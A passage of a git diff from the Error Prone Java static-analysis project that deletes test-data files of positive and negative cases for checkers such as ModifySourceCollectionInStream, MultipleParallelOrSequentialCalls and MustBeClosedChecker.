arr.remove(x); - // BUG: Diagnostic contains: - arr.removeAll(list); - // BUG: Diagnostic contains: - arr.retainAll(list); - // BUG: Diagnostic contains: - list.add(x); - // BUG: Diagnostic contains: - list.addAll(arr); - // BUG: Diagnostic contains: - list.clear(); - // BUG: Diagnostic contains: - list.remove(y); - // BUG: Diagnostic contains: - list.removeAll(arr); - // BUG: Diagnostic contains: - list.retainAll(arr); - } - } - } - - public static void testMapKeySet(HashMap map) { - for (Integer a : map.keySet()) { - // BUG: Diagnostic contains: - map.putIfAbsent(new Integer("42"), new Integer("43")); - // BUG: Diagnostic contains: - map.clear(); - // BUG: Diagnostic contains: - map.remove(a); - } - } - - public static void testMapValues(HashMap map) { - for (Integer a : map.values()) { - // BUG: Diagnostic contains: - map.putIfAbsent(new Integer("42"), new Integer("43")); - // BUG: Diagnostic contains: - map.putIfAbsent(new Integer("42"), a); - // BUG: Diagnostic contains: - map.clear(); - } - } - - public static void testMapEntrySet(HashMap map) { - for (Map.Entry a : map.entrySet()) { - // BUG: Diagnostic contains: - map.putIfAbsent(new Integer("42"), new Integer("43")); - // BUG: Diagnostic contains: - map.clear(); - // BUG: Diagnostic contains: - map.remove(a.getKey()); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifySourceCollectionInStreamNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifySourceCollectionInStreamNegativeCases.java deleted file mode 100644 index e66604b7829..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifySourceCollectionInStreamNegativeCases.java +++ /dev/null @@ -1,113 +0,0 @@ -/* - * Copyright 2019 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.ArrayList; -import java.util.Arrays; -import java.util.List; -import java.util.function.Consumer; -import java.util.stream.Collectors; -import java.util.stream.Stream; - -/** - * Test cases for {@link com.google.errorprone.bugpatterns.ModifySourceCollectionInStream}. - * - * @author deltazulu@google.com (Donald Duo Zhao) - */ -public class ModifySourceCollectionInStreamNegativeCases { - - private final List mutableValues = Arrays.asList(1, 2, 3); - - private void mutateStreamSourceMethodReference() { - - List mutableValues = new ArrayList<>(); - mutableValues.stream().map(x -> x + 1).filter(x -> x < 5).forEach(this.mutableValues::add); - - mutableValues.forEach(this.mutableValues::add); - - ModifySourceCollectionInStreamNegativeCases[] cases = { - new ModifySourceCollectionInStreamNegativeCases(), - new ModifySourceCollectionInStreamNegativeCases() - }; - - cases[0].mutableValues.stream() - .map(x -> x + 1) - .filter(x -> x < 5) - .forEach(cases[1].mutableValues::add); - } - - private List mutateStreamSourceLambdaExpression() { - - List localCopy = new ArrayList<>(); - - Stream values1 = - mutableValues.stream() - .map( - x -> { - localCopy.add(x); - return x + 1; - }); - - Stream values2 = - mutableValues.stream() - .filter( - x -> { - localCopy.remove(x); - return mutableValues.size() > 5; - }); - - return Stream.concat(values1, values2).collect(Collectors.toList()); - } - - private void mutateStreamSourceInNonStreamApi() { - mutableValues.stream() - .map(x -> x + 1) - .filter(x -> x < 5) - .findAny() - .ifPresent(mutableValues::add); - - mutableValues.stream() - .map(x -> x + 1) - .filter(x -> x < 5) - .findFirst() - .ifPresent(value -> mutableValues.remove(value)); - } - - private void mutateDifferentStreamSource() { - // Mutate a different stream source. - mutableValues.stream().filter(x -> x < 5).collect(Collectors.toList()).stream() - .forEach(mutableValues::remove); - - // Mutate source collection whose stream has been closed. - mutableValues.stream() - .filter(x -> x < 5) - .collect(Collectors.toList()) - .forEach(mutableValue -> mutableValues.remove(mutableValue)); - } - - private void mutateNonCollectionStreamSource(CustomContainer vals) { - vals.stream().map(x -> 2.0 * x).forEach(vals::add); - } - - private void lambdaExpressionAsInitializer(List vals) { - Consumer consumer = x -> vals.remove(x); - } - - private interface CustomContainer { - Stream stream(); - - boolean add(T t); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifySourceCollectionInStreamPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifySourceCollectionInStreamPositiveCases.java deleted file mode 100644 index e9df22d6d11..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifySourceCollectionInStreamPositiveCases.java +++ /dev/null @@ -1,95 +0,0 @@ -/* - * Copyright 2019 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.collect.ImmutableList; -import java.util.Arrays; -import java.util.List; -import java.util.stream.Collectors; -import java.util.stream.Stream; - -/** - * Test cases for {@link com.google.errorprone.bugpatterns.ModifySourceCollectionInStream}. - * - * @author deltazulu@google.com (Donald Duo Zhao) - */ -public class ModifySourceCollectionInStreamPositiveCases { - - private final List mutableValues = Arrays.asList(1, 2, 3); - - private void mutateStreamSourceMethodReference() { - - mutableValues.stream() - .map(x -> x + 1) - .filter(x -> x < 5) - // BUG: Diagnostic contains: - .forEach(mutableValues::remove); - - this.mutableValues.stream() - .map(x -> x + 1) - .filter(x -> x < 5) - // BUG: Diagnostic contains: - .forEach(mutableValues::remove); - - getMutableValues().parallelStream() - .map(x -> x + 1) - .filter(x -> x < 5) - // BUG: Diagnostic contains: - .forEach(getMutableValues()::add); - - getMutableValues().stream() - .map(x -> x + 1) - .filter(x -> x < 5) - // BUG: Diagnostic contains: - .forEach(this.getMutableValues()::remove); - - ModifySourceCollectionInStreamPositiveCases[] cases = { - new ModifySourceCollectionInStreamPositiveCases(), - new ModifySourceCollectionInStreamPositiveCases() - }; - cases[0].mutableValues.stream() - .map(x -> x + 1) - .filter(x -> x < 5) - // BUG: Diagnostic contains: - .forEach(cases[0].mutableValues::add); - } - - private List mutateStreamSourceLambdaExpression( - ImmutableList mutableParamList) { - Stream values1 = - mutableParamList.stream() - .map( - x -> { - // BUG: Diagnostic contains: - mutableParamList.add(x); - return x + 1; - }); - - Stream values2 = - mutableParamList.stream() - .filter( - x -> { - // BUG: Diagnostic contains: - mutableParamList.remove(x); - return mutableParamList.size() > 5; - }); - - return Stream.concat(values1, values2).collect(Collectors.toList()); - } - - private List getMutableValues() { - return mutableValues; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifyingCollectionWithItselfNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifyingCollectionWithItselfNegativeCases.java deleted file mode 100644 index b35cc1a11b0..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifyingCollectionWithItselfNegativeCases.java +++ /dev/null @@ -1,44 +0,0 @@ -/* - * Copyright 2011 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.ArrayList; -import java.util.List; - -/** - * @author scottjohnson@google.com (Scott Johnson) - */ -public class ModifyingCollectionWithItselfNegativeCases { - - List a = new ArrayList(); - - public boolean addAll(List b) { - return a.addAll(b); - } - - public boolean removeAll(List b) { - return a.removeAll(b); - } - - public boolean retainAll(List b) { - return a.retainAll(b); - } - - public boolean containsAll(List b) { - return a.containsAll(b); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifyingCollectionWithItselfPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifyingCollectionWithItselfPositiveCases.java deleted file mode 100644 index bafd70c2325..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifyingCollectionWithItselfPositiveCases.java +++ /dev/null @@ -1,83 +0,0 @@ -/* - * Copyright 2011 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.ArrayList; -import java.util.List; - -/** - * @author scottjohnson@google.com (Scott Johnson) - */ -public class ModifyingCollectionWithItselfPositiveCases { - - List a = new ArrayList(); - List c = new ArrayList(); - - public void addAll(List b) { - // BUG: Diagnostic contains: a.addAll(b) - this.a.addAll(a); - - // BUG: Diagnostic contains: a.addAll(1, b) - a.addAll(1, a); - } - - public void containsAll(List b) { - // BUG: Diagnostic contains: this.a.containsAll(b) - this.a.containsAll(this.a); - - // BUG: Diagnostic contains: a.containsAll(b) - a.containsAll(this.a); - } - - public void retainAll(List a) { - // BUG: Diagnostic contains: this.a.retainAll(a) - a.retainAll(a); - } - - public void removeAll() { - // BUG: Diagnostic contains: a.clear() - this.a.removeAll(a); - - // BUG: Diagnostic contains: a.clear() - a.removeAll(a); - } - - static class HasOneField { - List a; - - void removeAll() { - // BUG: Diagnostic contains: a.clear(); - a.removeAll(a); - } - - void testParameterFirst(List b) { - // BUG: Diagnostic contains: this.a.removeAll(b); - b.removeAll(b); - } - - void expressionStatementChecks() { - // BUG: Diagnostic contains: ModifyingCollectionWithItself - boolean b = 2 == 2 && a.containsAll(a); - - // BUG: Diagnostic contains: ModifyingCollectionWithItself - b = a.retainAll(a); - - // BUG: Diagnostic contains: ModifyingCollectionWithItself - b = a.removeAll(a); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleParallelOrSequentialCallsNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleParallelOrSequentialCallsNegativeCases.java deleted file mode 100644 index 0563d5684a0..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleParallelOrSequentialCallsNegativeCases.java +++ /dev/null @@ -1,66 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import java.util.List; - -/** Created by mariasam on 7/6/17. */ -public class MultipleParallelOrSequentialCallsNegativeCases { - - public void basicCase(List list) { - list.stream().parallel(); - } - - public void basicCaseSequential(List list) { - list.stream().sequential(); - } - - public void basicCaseNotLast(List list) { - list.stream().parallel().findFirst(); - } - - public void middleParallel(List list) { - list.stream().map(m -> m).parallel().filter(m -> m.isEmpty()); - } - - public void otherMethod() { - SomeObject someObject = new SomeObject(); - someObject.parallel().parallel(); - } - - public void otherMethodNotParallel(List list) { - list.stream().filter(m -> m.isEmpty()).findFirst(); - } - - public void streamWithinAStreamImmediatelyAfter(List list) { - list.stream().map(m -> list.stream().parallel()).parallel(); - } - - public void streamWithinAStreamImmediatelyAfterOtherParallelBothFirstAndWithin( - List list) { - list.stream().parallel().map(m -> list.stream().parallel()); - } - - public void streamWithinAStreamImmediatelyAfterOtherParallelBoth(List list) { - list.stream().sequential().map(m -> list.stream().parallel()).parallel(); - } - - class SomeObject { - public SomeObject parallel() { - return null; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleParallelOrSequentialCallsPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleParallelOrSequentialCallsPositiveCases.java deleted file mode 100644 index 8fe49899fab..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleParallelOrSequentialCallsPositiveCases.java +++ /dev/null @@ -1,147 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import java.util.Collection; -import java.util.List; -import java.util.stream.Stream; - -/** - * @author @mariasam (Maria Sam) on 7/6/17. - */ -class MultipleParallelOrSequentialCallsPositiveCases { - - public void basicCaseParallel(List list) { - // BUG: Diagnostic contains: Did you mean 'list.stream().parallel();'? - list.stream().parallel().parallel(); - } - - public void basicCaseParallelNotFirst(List list) { - // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> m);'? - list.stream().map(m -> m).parallel().parallel(); - } - - public void basicCollection(Collection list) { - // BUG: Diagnostic contains: Did you mean 'list.stream().parallel();'? - list.stream().parallel().parallel(); - } - - public void parallelStream(List list) { - // BUG: Diagnostic contains: Did you mean 'list.parallelStream();'? - list.parallelStream().parallel().parallel(); - } - - public void basicCaseParallelThisInMethodArg(List list) { - // BUG: Diagnostic contains: Did you mean 'this.hello(list.stream().parallel());'? - this.hello(list.stream().parallel().parallel()); - } - - public void onlyOneError(List list) { - this.hello( - // BUG: Diagnostic contains: Multiple calls - list.stream().parallel().parallel()); - } - - public void mapMethod(List list) { - // BUG: Diagnostic contains: Did you mean 'hello(list.stream().parallel().map(m -> - // this.hello(null)));'? - hello(list.stream().map(m -> this.hello(null)).parallel().parallel()); - } - - public void betweenMethods(List list) { - // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> m.toString());'? - list.stream().parallel().map(m -> m.toString()).parallel(); - } - - public void basicCaseParallelNotLast(List list) { - // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> - // m.toString()).findFirst();'? - list.stream().parallel().map(m -> m.toString()).parallel().findFirst(); - } - - public void basicCaseSequential(List list) { - // BUG: Diagnostic contains: Did you mean 'list.stream().sequential().map(m -> m.toString());'? - list.stream().sequential().map(m -> m.toString()).sequential(); - } - - public void bothSequentialAndParallel(List list) { - // this case is unlikely (wrong, even) but just checking that this works - // BUG: Diagnostic contains: Did you mean 'list.stream().sequential().parallel();'? - list.stream().sequential().parallel().sequential(); - } - - public void bothSequentialAndParallelMultiple(List list) { - // this is even more messed up, this test is here to make sure the checker doesn't throw an - // exception - // BUG: Diagnostic contains: Multiple calls - list.stream().sequential().parallel().sequential().parallel(); - } - - public void parallelMultipleLines(List list) { - // BUG: Diagnostic contains: Did you mean 'list.stream().parallel() - list.stream().parallel().map(m -> m.toString()).parallel(); - } - - public void multipleParallelCalls(List list) { - // BUG: Diagnostic contains: Did you mean 'list.parallelStream();'? - list.parallelStream().sequential(); - } - - public String hello(Stream st) { - return ""; - } - - public void streamWithinAStream(List list, List list2) { - // BUG: Diagnostic contains: Did you mean - list.stream() - .flatMap(childDir -> list2.stream()) - .parallel() - .flatMap(a -> list2.stream()) - .parallel(); - } - - public void streamWithinAStreamImmediatelyAfterOtherParallel( - List list, List list2) { - // BUG: Diagnostic contains: Did you mean - list.stream().parallel().map(m -> list2.stream().parallel()).parallel(); - } - - public void parallelAndNestedStreams(List list, List list2) { - // BUG: Diagnostic contains: Did you mean - list.parallelStream() - .flatMap(childDir -> list2.stream()) - .parallel() - .filter(m -> (new TestClass("test")).testClass()) - .map( - a -> { - if (a == null) { - return a; - } - return null; - }) - .filter(a -> a != null) - .flatMap(a -> list2.stream()) - .parallel(); - } - - private class TestClass { - public TestClass(String con) {} - - private boolean testClass() { - return true; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleParallelOrSequentialCallsPositiveCases_expected.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleParallelOrSequentialCallsPositiveCases_expected.java deleted file mode 100644 index 60fb17de12c..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleParallelOrSequentialCallsPositiveCases_expected.java +++ /dev/null @@ -1,141 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import java.util.Collection; -import java.util.List; -import java.util.stream.Stream; - -/** - * @author @mariasam (Maria Sam) on 7/6/17. - */ -class MultipleParallelOrSequentialCallsPositiveCases { - - public void basicCaseParallel(List list) { - // BUG: Diagnostic contains: Did you mean 'list.stream().parallel();'? - list.stream().parallel(); - } - - public void basicCaseParallelNotFirst(List list) { - // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> m);'? - list.stream().parallel().map(m -> m); - } - - public void basicCollection(Collection list) { - // BUG: Diagnostic contains: Did you mean 'list.stream().parallel();'? - list.stream().parallel(); - } - - public void parallelStream(List list) { - // BUG: Diagnostic contains: Did you mean 'list.parallelStream();'? - list.parallelStream(); - } - - public void basicCaseParallelThisInMethodArg(List list) { - // BUG: Diagnostic contains: Did you mean 'this.hello(list.stream().parallel());'? - this.hello(list.stream().parallel()); - } - - public void onlyOneError(List list) { - this.hello( - // BUG: Diagnostic contains: Multiple calls - list.stream().parallel()); - } - - public void mapMethod(List list) { - // BUG: Diagnostic contains: Did you mean 'hello(list.stream().parallel().map(m -> - // this.hello(null)));'? - hello(list.stream().parallel().map(m -> this.hello(null))); - } - - public void betweenMethods(List list) { - // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> m.toString());'? - list.stream().parallel().map(m -> m.toString()); - } - - public void basicCaseParallelNotLast(List list) { - // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> - // m.toString()).findFirst();'? - list.stream().parallel().map(m -> m.toString()).findFirst(); - } - - public void basicCaseSequential(List list) { - // BUG: Diagnostic contains: Did you mean 'list.stream().sequential().map(m -> m.toString());'? - list.stream().sequential().map(m -> m.toString()); - } - - public void bothSequentialAndParallel(List list) { - // this case is unlikely (wrong, even) but just checking that this works - // BUG: Diagnostic contains: Did you mean 'list.stream().sequential().parallel();'? - list.stream().sequential().parallel(); - } - - public void bothSequentialAndParallelMultiple(List list) { - // this is even more messed up, this test is here to make sure the checker doesn't throw an - // exception - // BUG: Diagnostic contains: Multiple calls - list.stream().sequential().parallel().parallel(); - } - - public void parallelMultipleLines(List list) { - // BUG: Diagnostic contains: Did you mean 'list.stream().parallel() - list.stream().parallel().map(m -> m.toString()); - } - - public void multipleParallelCalls(List list) { - // BUG: Diagnostic contains: Did you mean 'list.parallelStream();'? - list.parallelStream(); - } - - public String hello(Stream st) { - return ""; - } - - public void streamWithinAStream(List list, List list2) { - // BUG: Diagnostic contains: Did you mean - list.stream().parallel().flatMap(childDir -> list2.stream()).flatMap(a -> list2.stream()); - } - - public void streamWithinAStreamImmediatelyAfterOtherParallel( - List list, List list2) { - // BUG: Diagnostic contains: Did you mean - list.stream().parallel().map(m -> list2.stream().parallel()); - } - - public void parallelAndNestedStreams(List list, List list2) { - // BUG: Diagnostic contains: Did you mean - list.parallelStream() - .flatMap(childDir -> list2.stream()) - .filter(m -> (new TestClass("test")).testClass()) - .map( - a -> { - if (a == null) { - return a; - } - return null; - }) - .filter(a -> a != null) - .flatMap(a -> list2.stream()); - } - - private class TestClass { - public TestClass(String con) {} - - private boolean testClass() { - return true; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleUnaryOperatorsInMethodCallNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleUnaryOperatorsInMethodCallNegativeCases.java deleted file mode 100644 index d0b98887ce7..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleUnaryOperatorsInMethodCallNegativeCases.java +++ /dev/null @@ -1,34 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author sulku@google.com (Marsela Sulku) - */ -public class MultipleUnaryOperatorsInMethodCallNegativeCases { - public static void tests(int a, int b, int[] xs) { - testMethod(a, b); - testMethod(a + 1, b); - testMethod(b, a + 1); - testMethod(a++, b); - testMethod(--a, b); - testMethod(a, b--); - testMethod(a, ++b); - testMethod(xs[0]++, xs[0]++); - } - - public static void testMethod(int one, int two) {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleUnaryOperatorsInMethodCallPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleUnaryOperatorsInMethodCallPositiveCases.java deleted file mode 100644 index aef529aee7d..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleUnaryOperatorsInMethodCallPositiveCases.java +++ /dev/null @@ -1,55 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author sulku@google.com (Marsela Sulku) - */ -public class MultipleUnaryOperatorsInMethodCallPositiveCases { - /** these cases do not have suggested fixes */ - public static void tests(int a, int b) { - - // BUG: Diagnostic contains: Avoid having multiple unary operators acting - twoArgs(a++, a--); - // BUG: Diagnostic contains: Avoid having multiple unary operators acting - twoArgs(a--, ++a); - // BUG: Diagnostic contains: Avoid having multiple unary operators acting - twoArgs(++a, a++); - // BUG: Diagnostic contains: Avoid having multiple unary operators acting - twoArgs(--a, --a); - - // BUG: Diagnostic contains: Avoid having multiple unary operators acting - threeArgs(a++, b++, b++); - // BUG: Diagnostic contains: Avoid having multiple unary operators acting - threeArgs(a++, b, a++); - // BUG: Diagnostic contains: Avoid having multiple unary operators acting - threeArgs(++a, b++, --b); - // BUG: Diagnostic contains: Avoid having multiple unary operators acting - threeArgs(++a, a++, b); - // BUG: Diagnostic contains: Avoid having multiple unary operators acting - threeArgs(++a, a++, a); - // BUG: Diagnostic contains: Avoid having multiple unary operators acting - threeArgs(++a, a++, a--); - } - - public static void twoArgs(int a, int b) {} - - public static void threeArgs(int a, int b, int c) {} - - public static int someFunction(int a) { - return 0; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MustBeClosedCheckerNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MustBeClosedCheckerNegativeCases.java deleted file mode 100644 index 4dd86008820..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MustBeClosedCheckerNegativeCases.java +++ /dev/null @@ -1,184 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static org.junit.Assert.fail; -import static org.mockito.Mockito.doReturn; -import static org.mockito.Mockito.when; - -import com.google.common.collect.ImmutableList; -import com.google.errorprone.annotations.MustBeClosed; - -@SuppressWarnings({"UnnecessaryCast", "LambdaToMemberReference"}) -public class MustBeClosedCheckerNegativeCases { - - class Closeable implements AutoCloseable { - - @Override - public void close() {} - } - - class Foo { - - void bar() {} - - @MustBeClosed - Closeable mustBeClosedAnnotatedMethod() { - return new Closeable(); - } - } - - class MustBeClosedAnnotatedConstructor extends Closeable { - - @MustBeClosed - MustBeClosedAnnotatedConstructor() {} - } - - @SuppressWarnings("MustBeClosedChecker") - void respectsSuppressWarnings_onMethod() { - new Foo().mustBeClosedAnnotatedMethod(); - } - - void respectsSuppressWarnings_onLocal() { - @SuppressWarnings("MustBeClosedChecker") - var unused = new Foo().mustBeClosedAnnotatedMethod(); - } - - void negativeCase3() { - try (Closeable closeable = new Foo().mustBeClosedAnnotatedMethod()) {} - } - - void negativeCase4() { - Foo foo = new Foo(); - try (Closeable closeable = foo.mustBeClosedAnnotatedMethod()) {} - } - - void negativeCase5() { - new Foo().bar(); - } - - void negativeCase6() { - try (MustBeClosedAnnotatedConstructor foo = new MustBeClosedAnnotatedConstructor()) {} - } - - void negativeCase7() { - try (MustBeClosedAnnotatedConstructor foo = new MustBeClosedAnnotatedConstructor(); - Closeable closeable = new Foo().mustBeClosedAnnotatedMethod()) {} - } - - @MustBeClosed - Closeable positiveCase8() { - // This is fine since the caller method is annotated. - return new MustBeClosedAnnotatedConstructor(); - } - - @MustBeClosed - Closeable positiveCase7() { - // This is fine since the caller method is annotated. - return new Foo().mustBeClosedAnnotatedMethod(); - } - - @MustBeClosed - Closeable ternary(boolean condition) { - return condition ? new Foo().mustBeClosedAnnotatedMethod() : null; - } - - @MustBeClosed - Closeable cast() { - // TODO(b/241012760): remove the following line after the bug is fixed. - // BUG: Diagnostic contains: - return (Closeable) new Foo().mustBeClosedAnnotatedMethod(); - } - - void tryWithResources() { - Foo foo = new Foo(); - Closeable closeable = foo.mustBeClosedAnnotatedMethod(); - try { - } finally { - closeable.close(); - } - } - - void mockitoWhen(Foo mockFoo) { - when(mockFoo.mustBeClosedAnnotatedMethod()).thenReturn(null); - doReturn(null).when(mockFoo).mustBeClosedAnnotatedMethod(); - } - - void testException() { - try { - ((Foo) null).mustBeClosedAnnotatedMethod(); - fail(); - } catch (NullPointerException e) { - } - } - - abstract class ParentWithNoArgument implements AutoCloseable { - @MustBeClosed - ParentWithNoArgument() {} - } - - abstract class ParentWithArgument implements AutoCloseable { - @MustBeClosed - ParentWithArgument(int i) {} - } - - abstract class ChildOfParentWithArgument extends ParentWithArgument { - @MustBeClosed - ChildOfParentWithArgument() { - super(0); - } - } - - interface ResourceFactory { - @MustBeClosed - MustBeClosedAnnotatedConstructor getResource(); - } - - void consumeCloseable(ResourceFactory factory) { - try (Closeable c = factory.getResource()) {} - } - - void expressionLambdaReturningCloseable() { - consumeCloseable(() -> new MustBeClosedAnnotatedConstructor()); - } - - void statementLambdaReturningCloseable() { - consumeCloseable( - () -> { - return new MustBeClosedAnnotatedConstructor(); - }); - } - - void methodReferenceReturningCloseable() { - consumeCloseable(MustBeClosedAnnotatedConstructor::new); - } - - void ternaryFunctionalExpressionReturningCloseable(boolean condition) { - consumeCloseable( - condition - ? () -> new MustBeClosedAnnotatedConstructor() - : MustBeClosedAnnotatedConstructor::new); - } - - void inferredFunctionalExpressionReturningCloseable(ResourceFactory factory) { - ImmutableList.of( - factory, - () -> new MustBeClosedAnnotatedConstructor(), - MustBeClosedAnnotatedConstructor::new) - .forEach(this::consumeCloseable); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MustBeClosedCheckerPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MustBeClosedCheckerPositiveCases.java deleted file mode 100644 index 2be8547277c..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MustBeClosedCheckerPositiveCases.java +++ /dev/null @@ -1,238 +0,0 @@ -/* - * Copyright 2021 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.errorprone.annotations.MustBeClosed; -import java.util.function.Supplier; -import java.util.stream.Stream; - -@SuppressWarnings({"UnusedNestedClass", "UnusedVariable"}) -class MustBeClosedCheckerPositiveCases { - - class DoesNotImplementAutoCloseable { - @MustBeClosed - // 